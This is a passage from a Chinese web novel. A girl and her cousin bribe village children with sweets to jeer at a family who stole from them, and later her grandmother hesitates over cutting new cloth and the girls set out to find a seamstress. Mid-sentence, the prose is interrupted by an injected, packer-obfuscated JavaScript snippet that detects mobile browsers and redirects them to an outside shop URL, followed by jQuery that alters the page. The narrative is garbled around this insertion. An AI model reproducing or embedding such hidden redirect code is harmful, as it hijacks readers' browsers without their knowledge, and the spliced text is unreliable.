崔云南认得那几个:“吴家的,王家的,哦,还有金家的,有几个前两年还跟我屁股后头玩呢。”
那就更加好办了。
崔三娘解下了腰间的荷包,原主身子不是特别强壮,路走多了或者蹲久了,就容易眼前发黑发晕,大概是有些贫血或者低血糖,所以崔三娘特意准备了一只荷包,里面有裹了芝麻的麦芽糖,蜜饯,糖果子,酸糖片等小零嘴。
原是为解馋和应急的,现在却有了其他用途。
“你拿着。”崔三娘将荷包塞崔云南手里,扯住他的胳膊耳语了几句。
还能这样?崔云南听得一愣一愣,随后看着崔三娘:“行啊,不愧是崔二的亲妹妹,有胆气!”
人不犯我,我不犯人,人若犯我,连本带利,崔三娘提着蜜薯,崔四娘提着窝头,昂着头走远了,而金家大房门外,响起了小孩子们此起彼伏的喊声:“偷东西不要脸,全家倒霉,一辈子倒霉!”
话音刚落,另一小孩扯着嗓子喊:“偷东西是小狗,爹是狗娘是狗,一家全是狗!”喊完还活灵活现学了一段狗叫,在“汪汪汪”的叫声中,十几个小孩笑成一团。
一个说:“你学的好像啊。”
另一个双眼发光:“教我教我,我要学!”
崔云南从崔三娘的荷包里掏出三粒芝麻麦芽糖,给那个学狗叫的孩子两粒,另一个孩子一粒,笑着道:“骂得好,骂得呱呱叫!来,给你们奖励糖吃。”
他又对那些起哄的孩子说:“别跑题,谁骂得响骂得好听,本大爷给你们东西吃。”
见一荷包的零嘴近在眼前,而且已经有伙伴吃上了,一群孩子呼啦一下散开,憋足劲将骂功全面释放:“金老太你不讲理,八十无牙还想吃白米,白米拿来不给你,给你一锤吃黄泥!”
这既不押韵又不顺口的顺口溜一出,一群孩子猴儿似的笑开了:“王志,你读了几年私塾都会做诗啦。”
崔云南笑的露出一口大白牙:“哦,好诗好诗,来,给你三粒糖。”
再后来,金家院外简直变成了孩子们的赛场,崔云南怕骂着骂着没了主题,要求必须带“金”字,否则不作数不给糖,如果又带“金”又带“偷”等字眼,则给双倍。
哄笑声、嘲弄声一片又一片,如阵阵潮涌,简直要将金家院里的人给淹没了,金老太太挥舞着笤帚出去轰过几回,可这些小兔崽子跑得飞快,岂是她能追上的,她也试过对骂,可那群小崽子不接茬,只顾叽叽呱呱的骂,骂完就跑,她根本找不到人对战。
金老太太一口气憋在胸口,白眼一翻,差点没厥过去。
这场闹剧持续了半个时辰,直到孩子们的家长闻讯过来,揪着孩子的耳朵往家扯,才算结束,崔云南拍拍手把空荷包塞到怀里,啊,真过瘾。
如果三娘雇佣他就是做这些事,他乐意干一辈子。
-
“呀,这衣裳后面是裁成两片还是三
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480638|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片?两片嘛比较简单,三片比较合身,但我怕准头不好,给裁歪了。”
弄了一早上,先是烧热水熬米浆,把布料浆得邦邦硬,再是将崔二郎房里的床板拆下来,铺在院里做了个简易的裁剪台,而后是磨剪刀,寻找样衣,量尺寸,犹豫了半个早上,崔老太还是没下定决心到底怎么裁。
她怕自己裁不好,白白毁了这么好的布。
说起来,家里已经有年头没大买过外面铺子里的衣料了,都是自家织的麻布,染上靛蓝或青黑色,再自己裁剪缝纫,能穿就行了,美不美观压根不在考虑范围中。
如今却因考虑因素多了,搞得自己犹犹豫豫。
崔三娘回到家,见一惯果断麻利的奶奶纠结至此,想了想:“听说后山竹林里住了位阿婆,年轻的时候在城里的大成衣铺子做过师傅的,奶奶,咱们不如请那位婆婆帮我们裁吧。”
黄石村后山没住几户人家,至于那竹林就更加偏僻了,只有一位姓刘的老太太独居在那,年轻的时候她的脸被热水烫过,据说面目吓人,常年围着头巾。村里人不与她来往,据说她年轻时作风有问题,事情闹的很大,连官府都惊动了,不过具体情况崔老太太也不太清楚,那些事在她嫁过来以前就发生了。
“她能裁剪好吗?”崔老太太不确信的问。
“前些日子我不是去杜家磨山楂粉嘛,见杜婶子一套新裙裳好看,就多嘴打听了一句,她说是找刘婆婆裁剪的,样式真不赖呢。”崔三娘说着走到崔老太太身前,“要不我领四娘去一趟?”
村里村上的,各种风言风语很多,个个说得活灵活现,但实情究竟怎样,其实没几个说得清楚,就拿刘婆婆的事来说,谁都讲不清当年她究竟惹了什么事,还有那作风问题,更容易凭空捏造了。
崔老太太回忆着偶然遇见那刘婆婆时的场面,她总低着头,不说话不吭气,瞧着没什么不对劲。
而且,管她到底有不有问题,都是陈芝麻烂谷子的事,还是裁剪衣裳最紧要。
“去吧,去吧,她要愿意,直接请到咱们家来。”崔老太太说着去地窖里搂了十来个白薯,“听说她日子不大好过,咱要请人帮忙,就别空手登门了。”
崔五娘已经完成了烧热水任务,见三姐又要出门,赶紧跟上。
崔云南也心痒痒,想跟着去竹林,只是崔三娘家柴禾告急,入秋本就要备冬柴,她又要倒腾吃食,柴就要得更多了,时不待人,崔云南拿上刀和麻绳,喝了一碗温开水:“大奶奶,我山里砍柴去了。”
“行,好孩子,别往林子深处去啊,晌午留我家吃饭——”崔老太说到最后几字,已是拖长了音。
崔云南步子没停,已走到院外四五丈远的地方,有了距离,他的声音便有点模糊了:“好呢——”
秋日的黄石村一片黄,树黄了枝丫,小草枯了叶子,野花蝴蝶什么的也渐渐不见,不过,后山那片竹林却还很绿,在翠绿的掩映之下,一间木屋露出个檐角。
那里就是刘老婆婆的住处了。